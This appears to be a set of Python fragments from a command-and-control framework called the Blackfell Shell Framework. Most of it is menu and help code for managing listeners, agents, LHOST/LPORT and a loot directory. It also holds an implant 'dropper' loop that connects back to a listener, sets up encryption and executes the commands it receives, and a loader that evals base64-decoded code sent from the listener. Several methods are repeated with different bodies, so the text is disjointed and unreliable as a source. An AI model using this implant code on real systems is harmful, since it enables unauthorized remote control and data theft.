def help_info(self): """Function to print help for this specific command.""" print("") bc.blue_print( '[-] ', 'Show info on global defaults, not required, but useful.') print("")
def do_info(self, line): """Simply list out agents currently interacted on.""" for agent in self.active_agents: bc.blue_print( "[-] ", "Acting on agent: {}, which is alive: {}".format( agent.name, agent.is_alive()))
def do_info(self, line): """Shows all settings, along with default and current values to user""" print("") bc.blue_print("[-] ", "Showing info for module:\n") w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") ''' for opt, dat in self.module_instance.options.items(): default = required = print(format_string.format(opt, str(dat), str(default) , str(required))) ''' for option in self.module_instance.info(): print( format_string.format(option[0], option[1], option[2], option[3])) print("")
def do_exit(self, line, sigint=None): """Leave the Blackfell Shell Framework, terminating all agents & listeners. (-y to force)""" input_str = bc.warn_format( "[-]", " Do you want to exit, terminating all agents and listeners? [Y/n]:" ) if '-y' not in line and input( input_str.format(line)).lower() not in ['y', 'yes', 'ye']: return False else: for l in self.root_menu.listeners: l.terminate() l.join(self.terminate_timeout) if l.is_alive() == 1: bc.err_print( "[!] ", "- Could not elegantly kill listener: {}, continuing.". format(l.name)) bc.blue_print("[!] ", "- All Listeners killed.") time.sleep(0.2) self.post_loop() sys.exit(0) return True
def help_reset(self): print("") bc.blue_print('[-] ', 'Reset agent options and default values.') print('Example:') print('\treset name') print('\treset LHOST') print("")
def do_load(self, line): """Load a module into agent, implant or menu, based off module spec files, which are found and loaded into the menu, agent and implant as needed.""" if not line: bc.warn_print("[!] ", "No module specified.") return try: #Load module functionality into agent(s) module_spec = self.load_path + line + '.yml' bc.blue_print("[+] ", "- Loading module: {}".format(line)) with open(module_spec) as f: ms = yaml.load(f, Loader=yaml.FullLoader) #Menu modules not often loaded, so check before you load. for m in ms['methods']: if m['menu']: self.load_methods(ms) for agent in self.active_agents: #agent.load_agent_methods(ms) agent.send_q.put('load_agent_methods ') agent.send_q.put(ms) time.sleep(1) #Let agent catch up, smooths experience for user self.check_loaded() bc.blue_print("[+] ", "Load command sent.") ms = '' #reset variable #Now load agent and implant modules except Exception as e: bc.err_print("[!] ", "- Exception loading menu module:\n{}".format(e)) finally: self.check_loaded()
def help_kill(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ','Kill a listener.') print('Example:') print('\tkill Listener-2') print("")
def help_list(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ','List listeners only cos we\re in listeners now.') print('Example:') print('\tlist') print('\t\tListener-1 : a listener.') print("")
def help_agents(self): """Function to print help for this specific command.""" print("") bc.blue_print( '[-] ', 'Switch to an Agents context menu, to manage your active agents.') print("")
def help_kill(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ', 'Kill an agent.') print('Example:') print('\tkill Agent-2') print("")
def help_use(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ','Select a listener to run.') print('Example:') print('\tuse bs_http') print('\tuse bs_http') print("")
def help_listeners(self): """Function to print help for this specific command.""" print("") bc.blue_print( '[-] ', 'Switch to a Listener context menu, to set up your listeners.') print("")
def help_reset(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ', 'Reset a global option.') print('Example:') print('\treset LOOT_DIR') print('\treset LHOST') print("")
def help_list(self): print("") bc.blue_print( '[-] ', 'List all agents & listeners. May be run without arguments.') print('Example:') print('\tlist agents') print('\tlist') print("")
def do_set(self, line): """Setting of a global option associated with the root menu.""" option, value, line = self.parseline(line) if not option in self.global_options: bc.warn_print("[!] ", "- {} not a valid option!".format(option)) else: self.global_options[option] = value bc.blue_print("[-] ", "{} set to: {}".format(option, value))
def help_set(self): """Help information for the set command""" print("") bc.blue_print('[-] ', 'Set module options and default values.') print('Example:') print('\tset LPORT 80') print('\tset NAME Windows-Server-19') print("")
def help_activate(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ', 'Activate an agent, so that it can be interacted with.') print('Example:') print('\tactivate Agent-2') print("")
def help_list(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ', 'List Agents only cos we\'re in agents now.') print('Example:') print('\tlist') print('\t\tAgent-1 : an agent.') print("")
def help_set(self): """Function to print help for this specific command.""" print("") bc.blue_print('[-] ', 'Set global options and default values.') print('Example:') print('\tset LHOST 192.168.1.100') print('\tset LOOT_DIR ./custom_loot/') print('\tset LOOT_FILE ./custom_loot/my_loot_brings_all_the_boys.yml') print("")
def do_use(self, line): """Overridden use method, now using listener modules only""" cmd, args, line = self.parseline(line) bc.blue_print("[-] ", "Using listener: {}".format(line)) #Concatenate the use path (from base menu for modules, with the selected module name module_path = self.use_path + line #Handle calling bad modules by accident try: module_menu = mod.BSUseModuleMenu(self, module_path) module_menu.cmdloop() except Exception as e: bc.err_print("[!] ", "- Exception calling module, is this a real module? Check module guidance.\n\t{}".format(e))
def help_kill(self): """Function to print help for this specific command.""" print("") bc.blue_print( '[-] ', 'Kill a listener (and all associated agents), or a specific Agent.' ) print('Example:') print('\tkill listener 2') print('\tkill agent win-10-ent-1') print('\tkill agent *') print("")
def run(self): """The main function called when a dropper runs""" #Retry connections a few times for i in range(self.retries): try: self.connect() bc.success("Connected") #i = self.retries break except Exception as e: bc.err("Could not connect:\n{}.".format(e)) time.sleep(self.retry_wait) continue #Now connected, encrypt: bc.info("Setting up encryption") if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") return #Main loop while self.run_flag: bc.info("Loop start - receiving") self.get_command() bc.blue_print("[-] ", "- Implant got: {} : {}".format(self.cmd, self.args)) if self.cmd in self.commands: #if self.args: print("DEBUG - command {} is in the command list. Yay!".format( self.cmd)) if self.args: try: self.commands[self.cmd](self.args) except Exception as e: self.send( "ERROR Exception in Implant (with args) :\n{}". format(e)) self.cmd = '' else: try: self.commands[self.cmd]() except Exception as e: self.send("ERROR Exception in Implant :\n{}".format(e)) self.cmd = '' else: self.send( 'ERROR - Command not recognised: {}'.format(self.cmd + ' ' + self.args)) bc.info("Command complete - main loop over.")
def do_execute(self, line): """runs the module, calling requirement checks and setup functions beforehand. Will exit if checks return False""" bc.blue_print("[-] ", "- Seting up module...".format(line)) if not self.module_instance.check_required(): bc.err_print("[!] ", "- Execute failed. Some required options not set.") return if not self.module_instance.setup(): bc.err_print("[!] ", "- Module test, failed.") return bc.green_print("[!] ", "- Setup complete. Executing...") if self.module_instance.run(): #Exit on true was set, module will return true and module menu will be exited. return True
def do_help(self, line): """Function to print help for this specific command.""" if line in self.method_help.keys(): bc.blue_print("\n[-] ", self.method_help[line]) print("") elif "help_" + line in dir(self): try: caller = getattr(self, 'help_' + line) caller() except: bc.err_print( "[!] ", "- Error, helop for {} not implemented correctly".format( line)) else: self.print_loaded_methods()
def do_use(self, line): """select and initialise a BS module, will find module specs and load the associated python file for configuration.""" cmd, args, line = self.parseline(line) bc.blue_print("[-] ", "Using module: {}".format(line)) #Concatenate the use path (from base menu for modules, with the selected module name module_path = self.use_path + line #Handle calling bad modules by accident try: module_menu = mod.BSUseModuleMenu(self, module_path) module_menu.cmdloop() except Exception as e: bc.err_print( "[!] ", "- Exception calling module, is this a real module? Check module guidance.\n\t{}" .format(e))
def do_info(self, line): """Show global settings associted with the root menu""" info_list = [] for option, value in self.global_options.items(): default = self.defaults[option] if option in self.defaults else None info_list.append([str(option), str(value), str(default)]) bc.blue_print("[-] ", "Showing global idefault settings:\n") w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty format_string = "{{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.3 * w), int(0.55 * w), int(0.15 * w)) #format_string = "{:<25} {:<45} {:<10}" underline = "=" * int(w) bc.bold_print(format_string.format("Option", "Value", "Default"), "") bc.blue_print(underline, "") for option in info_list: print(format_string.format(option[0], option[1], option[2])) print("")
def load(self, args=None): """Load python from a dictionary sent from the listener""" try: import_dict = eval(b64decode(args)) bc.blue_print( "[-] ", "Import dic evaluated fine : {}\n:{}".format( type(import_dict), import_dict)) mod, funcs = importer.bs_import(import_dict) bc.blue_print("[-] ", "Loading : {} with funcs:\n{}".format(mod, funcs)) setattr(self, mod.__name__, MethodType(mod.main, self)) print("Registered {} as {}.".format(mod.__name__, mod.main)) self.commands[mod.__name__] = getattr(self, mod.__name__) print("Load complete, setting response") self.send('Successfully Loaded : {}.'.format(mod.__name__)) except Exception as e: bc.err_print("[!] ", "- Exception when loading module : {}".format(e)) self.send('Load Failed for : {}'.format(args))
def list_listeners(self): """List out just listeners, including printing them out""" bc.green_print("\n[-] ", "Listeners:\n") w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.35 * w), int(0.2 * w), int(0.1 * w), int(0.35 * w)) #format_string = "{:<40} {:<20} {:<10} {:<20}" underline = "=" * int(w) bc.bold_print(format_string.format("Name", "Status", "Agents", "Info"), "") bc.blue_print(underline, "") for l in self.root_menu.listeners: print( format_string.format(l.name, 'Alive' if l.is_alive() == 1 else 'Dead', len(l.agent_list), str(l.LHOST) + ':' + str(l.LPORT))) print("")
def run(self): col = self.color['value'] msg = self.message['value'] bc.green_print("[!] ", "- Print incoming!") #Override with what to do with this class when it runs for time in range(self.num_prints['value']): if col == 'red': bc.err_print(msg, "") elif col == 'orange': bc.warn_print(msg, "") elif self.color['value'] == 'blue': bc.blue_print(msg, "") elif self.color['value'] == 'green': bc.green_print(msg, "") else: print(msg) if bool(self.exit_on_exec['value']) == True: bc.green_print("[!] ", "- Module executed, exiting.") return True
def print_loaded_methods(self): """Rationalises and prints methods loaded into the agents REports on any descrepancies to the user between agents.""" bc.green_print("[-] ", "Menu options:\n") format_string = "\t{:<15} {:<50}" underline = "\t" + "=" * 70 bc.bold_print(format_string.format("Method", "Description"), "") bc.blue_print(underline, "") for nme, hlp in self.methods.items(): print(format_string.format(str(nme[3:]), hlp)) bc.green_print("\n[-] ", "Loaded agent options:") self.check_loaded() for mod, meths in self.loaded_methods.items(): bc.green_print("\n\t[-] ", "{} Methods:\n".format(mod.title())) bc.bold_print(format_string.format("Method", "Description"), "") bc.blue_print(underline, "") for meth in meths: print(format_string.format(meth[0], meth[1])) print("")